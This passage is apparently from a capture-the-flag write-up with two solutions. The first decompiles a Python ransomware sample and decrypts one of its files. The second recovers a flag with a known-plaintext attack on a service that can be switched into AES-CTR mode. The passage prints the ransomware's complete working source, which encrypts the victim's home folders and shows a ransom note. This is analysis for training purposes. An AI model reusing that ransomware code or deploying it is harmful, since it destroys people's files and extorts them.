In the output directory, we now have the file configure.pyc which contains the compiled Python code for the malware. To decompile the malware we can use uncompyle6.

# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
# [GCC 10.2.1 20210110]
# Embedded file name: configure.py
from Crypto.Cipher import AES
import random, string, time, os

def Pkrr1fe0qmDD9nKx(filename: str, data: bytes) -> None:
    open(filename, 'wb').write(data)
    os.rename(filename, f"{filename}.boo")


def mv18jiVh6TJI9lzY(filename: str) -> None:
    data = open(filename, 'rb').read()
    key = 'vN0nb7ZshjAWiCzv'
    iv = b'ffTC776Wt59Qawe1'
    cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB, iv)
    ct = cipher.encrypt(data)
    Pkrr1fe0qmDD9nKx(filename, ct)


def w7oVNKAyN8dlWJk() -> str:
    letters = string.ascii_lowercase + string.digits
    _id = ''.join(random.choice(letters) for i in range(32))
    return _id


def print_note() -> None:
    _id = w7oVNKAyN8dlWJk()
    banner = f"\n\nPippity poppity give me your property!\n\n\t   *                  ((((\n*            *        *  (((\n\t   *                (((      *\n  *   / \\        *     *(((    \n   __/___\\__  *          (((\n\t (O)  |         *     ((((\n*  '<   ? |__ ... .. .             *\n\t \\@      \\    *    ... . . . *\n\t //__     \t// ||\\__   \\    |~~~~~~ . . .   *\n====M===M===| |=====|~~~~~~   . . .. .. .\n\t\t *  \\ \\ \\   |~~~~~~    *\n  *         <__|_|   ~~~~~~ .   .     ... .\n\t\nPOOF!\n\nDon't you speak English? Use https://translate.google.com/?sl=en&tl=es&op=translate \n\nYOU GOT TRICKED! Your home folder has been encrypted due to blind trust.\nTo decrypt your files, you need the private key that only we possess. \n\nYour ID: {_id}\n\nDon't waste our time and pay the ransom; otherwise, you will lose your precious files forever.\n\nWe accept crypto or candy.\n\nDon't hesitate to get in touch with cutie_pumpkin@ransomwaregroup.com during business hours.\n\n\t"
    print(banner)
    time.sleep(60)


def yGN9pu2XkPTWyeBK(directory: str) -> list:
    filenames = []
    for filename in os.listdir(directory):
        result = os.path.join(directory, filename)
        if os.path.isfile(result):
            filenames.append(result)
        else:
            filenames.extend(yGN9pu2XkPTWyeBK(result))

    return filenames


def main() -> None:
    username = os.getlogin()
    directories = [
     f"/home/{username}/Downloads",
     f"/home/{username}/Documents",
     f"/home/{username}/Desktop"]
    for directory in directories:
        if os.path.exists(directory):
            files = yGN9pu2XkPTWyeBK(directory)
            for fil in files:
                try:
                    mv18jiVh6TJI9lzY(fil)
                except Exception as e:
                    pass

    print_note()


if __name__ == '__main__':
    main()
# okay decompiling configure.pyc

Now that we have the decompiled source code, we can find the encryption function.

def mv18jiVh6TJI9lzY(filename: str) -> None:
    data = open(filename, 'rb').read()
    key = 'vN0nb7ZshjAWiCzv'
    iv = b'ffTC776Wt59Qawe1'
    cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB, iv)
    ct = cipher.encrypt(data)
    Pkrr1fe0qmDD9nKx(filename, ct)

Entering mv18jiVh6TJI9lzY as the answer returns a new question.

> mv18jiVh6TJI9lzY
[+] Correct!

Decrypt the given file, and provide its md5sum.
> 

Ok, so we have to decrypt the file candy_dungeon.pdf.boo from the challenge files using the information we got from the decompilation. Fortunately, all information needed to decrypt is in the encryption function, both the key, IV, and cipher used are there in clear text.

The following Python script can be used to decrypt the file.

from Crypto.Cipher import AES

data = open('candy_dungeon.pdf.boo', 'rb').read()
key = 'vN0nb7ZshjAWiCzv'
iv = b'ffTC776Wt59Qawe1'
cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB, iv)
pt = cipher.decrypt(data)
open('candy_dungeon.pdf', 'wb').write(pt)

After we have decrypted the file, we can get the MD5 sum of the file.

md5sum candy_dungeon.pdf
3bc9f072f5a7ed4620f57e6aa8d7e1a1  candy_dungeon.pdf

Entering the hash as the answer finally gives us the flag.

> 3bc9f072f5a7ed4620f57e6aa8d7e1a1
[+] Correct!

[+] Here is the flag: HTB{n3v3r_tru5t_4ny0n3_3sp3c14lly_dur1ng_h4ll0w33n}

Whole Lotta Candy

Cryptography

Description

In a parallel universe, “trick-or-treat” is played by different rules. As technologies became more advanced and the demand for security researchers increased, the government decided to incorporate security concepts into every game and tradition. Instead of candy, kids have the choice of selecting a AES mode and encrypting their plaintext. If they somehow manage to find the FLAG, they get candy. Can you solve this basic problem for the toddlers of this universe?

Solution

Connecting to the challenge service, we get the following response.

Please interact with the server using json data!
Selected mode is OFB.

Options:

1.Encrypt flag
2.Encrypt plaintext
3.Change mode
4.Exit

>

Let’s take a look at the source code to see if we can find anything to exploit. Let’s start with the main function in server.py.

def main(s):
    mode = random.choice(MODES)
    enc = Encryptor()
    while True:
        try:
            sendMessage(s,
                        f"Please interact with the server using json data!\n")
            sendMessage(s, f"Selected mode is {mode}.\n")
            payload = receiveMessage(
                s,
                "\nOptions:\n\n1.Encrypt flag\n2.Encrypt plaintext\n3.Change mode\n4.Exit\n\n> "
            )
            payload = json.loads(payload)
            option = payload["option"]
            if option == "1":
                ciphertext = enc.encrypt(FLAG, mode).hex()
                response = json.dumps({
                    "response": "encrypted",
                    "ciphertext": ciphertext
                })
                sendMessage(s, "\n" + response + "\n")
            elif option == "2":
                payload = receiveMessage(s, "Enter plaintext: \n")
                payload = json.loads(payload)
                plaintext = payload['plaintext'].encode()
                ciphertext = enc.encrypt(plaintext, mode).hex()
                response = json.dumps({
                    "response": "encrypted",
                    "ciphertext": ciphertext
                })
                sendMessage(s, "\n" + response + "\n")
            elif option == "3":
                response = json.dumps({"modes": MODES})
                sendMessage(
                    s, "These are the supported modes\n" + response + "\n")
                payload = receiveMessage(s, "Expecting modes: \n")
                payload = json.loads(payload)
                mode = random.choice(payload['modes'])
            elif option == "4":
                sendMessage(s, "Bye bye\n")
                exit()
        except Exception as e:
            response = json.dumps({"response": "error", "message": str(e)})
            sendMessage(s, "\n" + response + "\n")
            exit()

From this, we can identify how we are supposed to communicate with the server. To choose an option we have to send a JSON payload with an option key and one of the choices. We also see that there’s an Encryptor object used for the encryption of both the flag and user-controlled plaintext.

Let’s take a look at the Encryptor class.

from Crypto.Util.Padding import pad
from Crypto.Util import Counter
from Crypto.Cipher import AES
import os


class Encryptor:

    def __init__(self):
        self.key = os.urandom(16)

    def ECB(self, pt):
        cipher = AES.new(self.key, AES.MODE_ECB)
        ct = cipher.encrypt(pad(pt, 16))
        return ct

    def CBC(self, pt):
        iv = os.urandom(16)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        ct = cipher.encrypt(pad(pt, 16))
        return ct

    def CFB(self, pt):
        iv = os.urandom(16)
        cipher = AES.new(self.key, AES.MODE_CFB, iv)
        ct = cipher.encrypt(pad(pt, 16))
        return ct

    def OFB(self, pt):
        iv = os.urandom(16)
        cipher = AES.new(self.key, AES.MODE_OFB, iv)
        ct = cipher.encrypt(pad(pt, 16))
        return ct

    def CTR(self, pt):
        counter = Counter.new(128)
        cipher = AES.new(self.key, AES.MODE_CTR, counter=counter)
        ct = cipher.encrypt(pad(pt, 16))
        return ct

    def encrypt(self, pt, mode):
        if mode == "ECB":
            ct = self.ECB(pt)
        elif mode == "CBC":
            ct = self.CBC(pt)
        elif mode == "CFB":
            ct = self.CFB(pt)
        elif mode == "OFB":
            ct = self.OFB(pt)
        elif mode == "CTR":
            ct = self.CTR(pt)
        return ct

From this, we now know that the encryption used is AES and that there are a bunch of modes available to use.

Going back to the main function, we can see that the Encryptor is initialized before the while loop and thus the key will be the same each time the Encryptor is used. This paired with the ability to encrypt user-controlled input should be enough for us to recover the flag if we are able to choose which mode is used.

The mode we want to try is CTR, since it will only XOR the plaintext. So if we are able to enter a plaintext value as long as the flag, we should be able to recover the values used to XOR the flag.

Let’s take a look at the Change mode code to find out what we should send to set the mode to CTR.

            elif option == "3":
                response = json.dumps({"modes": MODES})
                sendMessage(
                    s, "These are the supported modes\n" + response + "\n")
                payload = receiveMessage(s, "Expecting modes: \n")
                payload = json.loads(payload)
                mode = random.choice(payload['modes'])

It will print the modes available from the variable MODES, which is set to MODES = ['ECB', 'CBC', 'CFB', 'OFB', 'CTR']. Then waiting for the input, and from the input, it will randomly select a mode.

So we want to just send the mode CTR, so it will always be chosen. Based on the code, that request should look like {"modes":"['CTR']"}.

Time to try it out, sending the message to change options and the mode select request we have set the mode to CTR.

Please interact with the server using json data!
Selected mode is OFB.

Options:

1.Encrypt flag
2.Encrypt plaintext
3.Change mode
4.Exit

> {"option":"3"}
These are the supported modes
{"modes": ["ECB", "CBC", "CFB", "OFB", "CTR"]}
Expecting modes:
{"modes":["CTR"]}
Please interact with the server using json data!
Selected mode is CTR.

Options:

1.Encrypt flag
2.Encrypt plaintext
3.Change mode
4.Exit

>

Now we want to encrypt some data we know, to be able to recover the XOR values used for the encryption.

> {"option":"2"}
Enter plaintext:
{"plaintext":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}

{"response": "encrypted", "ciphertext": "4c9d62134e78a4731ba880b3b6349ac4f3a5c1eb78f78dbcc79099355338422d03ff97707b6977ad52a1a71a086e46cae8eeda1ee4de6a1bb5fef103437e78cf04e30e64707c8fb5f52e400c102beef3c545b2854013ee874f5517bfc90c0025ac662a406fc584cef16b807c0a335f792d64fc437ac10a774c5c1f2fae169349"}

Now that we have the ciphertext for our known string, we also need the encrypted flag.

> {"option":"1"}

{"response": "encrypted", "ciphertext": "458861294457aa6514b6b19e964495b281d3f89d66d7fbcae792b32b7e483a04758b8906721b699b52b9b96c215d68de90e7c432e4d15205b9d0d47178423b8c"}

Now for the last step, all we have to do is XOR each byte of the ciphertext generated from our entered string and use the result as the XOR values to decrypt the flag.

The following script will automate the whole process and recover the flag.

#!/usr/bin/env python3

import socket
import json
import binascii

PLAINTEXT = b"A" * 64

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("206.189.117.93", 31560))

s.recv(1024)
s.recv(1024)
s.sendall(b'{"option":"3"}') # Send command to change mode
s.recv(1024)
s.sendall(b'{"modes":["CTR"]}') # Send CTR as available mode
s.recv(1024)
s.recv(1024)
s.sendall(b'{"option":"2"}') # Send command to encrypt plaintext
s.recv(1024)
s.sendall(b'{"plaintext":"' + PLAINTEXT + b'"}') # Send plaintext to encrypt
encrypted_pt = json.loads(s.recv(1024).decode().strip())
s.recv(1024)
s.sendall(b'{"option":"1"}') # Get encrypted flag
encrypted_flag = json.loads(s.recv(1024).decode().strip())
s.close()

ct = binascii.unhexlify(encrypted_pt["ciphertext"])

# Recover key
key = bytearray()
for c in ct:
    key.append(c ^ ord("A"))

# Verify that key works with encrypted plaintext
pt = bytearray()
for i in range(0, len(ct)):
    pt.append(ct[i] ^ key[i % len(key)])

assert(all(x == 'A' for x in pt.decode()))

flag_ct = binascii.unhexlify(encrypted_flag["ciphertext"])

# Decrypt flag
flag = bytearray()
for i in range(0, len(flag_ct)):
    flag.append(flag_ct[i] ^ key[i % len(key)])

print('Flag:', flag)

After running the script we get the flag, HTB{KnOWN_pla1N737x7_a77aCk_l19h75_7H3_wAY_7hroU9H_mANy_Mod3z}.